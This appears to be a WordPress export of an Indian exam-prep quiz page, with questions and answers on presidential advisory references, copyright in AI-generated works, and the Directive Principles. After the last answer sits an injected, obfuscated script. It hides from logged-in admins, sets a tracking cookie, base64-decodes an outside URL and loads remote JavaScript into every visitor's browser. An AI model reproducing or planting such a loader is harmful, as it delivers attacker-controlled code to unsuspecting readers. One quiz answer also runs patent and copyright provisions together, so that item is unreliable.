Legal Dispute Needed<\/strong><\/td><td>Can be invoked <strong>even without an actual case<\/strong> or conflict in court.<\/td><\/tr><tr><td><strong>Bench Strength<\/strong><\/td><td>As per <strong>Article 145(3)<\/strong>, such references are heard by a <strong>Constitution Bench<\/strong> (minimum <strong>5 judges<\/strong>).<\/td><\/tr><tr><td><strong>Aid to President<\/strong><\/td><td>Offers the <strong>President independent legal advice<\/strong>, separate from Cabinet counsel.<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Source:<\/strong><a href=\"https:\/\/indianexpress.com\/article\/explained\/explained-law\/president-murmu-seeks-advisory-opinion-sc-can-court-overturn-r-n-ravi-decision-10008362\/\" target=\"_blank\" rel=\"noopener\">https:\/\/indianexpress.com\/article\/explained\/explained-law\/president-murmu-seeks-advisory-opinion-sc-can-court-overturn-r-n-ravi-decision-10008362\/<\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-123 wp-block-paragraph\"><strong>9.<\/strong><strong> <\/strong><strong>Consider the following statements regarding the legal status of AI-generated content under Indian law<\/strong><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-124 wp-block-paragraph\">1. Indian Copyright Act, 1957 and The Patents Act, 1970 provides specific provisions for fair dealing and enumerated exceptions to copyright infringement.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-125 wp-block-paragraph\">2. Under current Indian copyright law, authorship requires human creativity and intervention.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-126 wp-block-paragraph\">3. Judicial decisions from foreign courts can have persuasive value in shaping Indian copyright law interpretation.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-127 wp-block-paragraph\"><strong>Which of the statements given above are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-128 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-129 wp-block-paragraph\">(b) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-130 wp-block-paragraph\">(c) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-131 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-132 wp-block-paragraph\"><strong>Answer (d) 1, 2 and 3<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-133 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-134 wp-block-paragraph\">Fair dealing is a well-defined concept in Indian copyright law under <strong>Sections 52(1) of the Copyright Act, 1957<\/strong>, which lists out specific uses that do not constitute infringement, such as:<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-135\">\n<li>Private or personal use, including research<\/li>\n\n\n\n<li>Criticism or review<\/li>\n\n\n\n<li>Reporting of current events<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-136 wp-block-paragraph\"><strong>The Patents Act, 1970 <\/strong>also contains limited exceptions to patent infringement, including use for research or educational purposes<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-137 wp-block-paragraph\"><strong>The Copyright Act, 1957<\/strong> defines an &#8220;author&#8221; under Section 2(d) as a natural person\u2014a human being. Indian copyright law does not recognize AI as a legal author. Therefore, for a work to be copyrightable, it must <strong>involve human creativity and originality<\/strong>.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-138 wp-block-paragraph\">Although foreign judgments are not binding on Indian courts, they do carry <strong>persuasive value, especially from jurisdictions with similar legal traditions like the UK, USA, and Australia<\/strong>.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-139 wp-block-paragraph\">Indian courts have historically referred to foreign decisions in areas of <strong>intellectual property and technology law<\/strong>, especially where Indian precedents are lacking.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-140 wp-block-paragraph\"><strong>10. <\/strong><strong>With reference to the provisions contained in Part IV of the Constitution of India, which of the following statements is\/are correct? (2020 -PYQ)<\/strong><\/p>\n\n\n\n<ol class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-141\">\n<li>They shall be enforceable by courts.<\/li>\n\n\n\n<li>They shall not be enforceable by any court.<\/li>\n\n\n\n<li>The principles laid down in this part are to influence the making of laws by the State.<\/li>\n<\/ol>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-142 wp-block-paragraph\"><strong>Select the correct answer using the code given below:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-143 wp-block-paragraph\">(a) 1 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-144 wp-block-paragraph\">(b) 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-145 wp-block-paragraph\">(c) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-146 wp-block-paragraph\">(d) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-147 wp-block-paragraph\"><strong>Answer (d) 2 and 3 only<\/strong><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Consider the following pairs: &nbsp; Port Location 1. Ras Isa Saudi Arabia 2. Hodeida Yemen 3. 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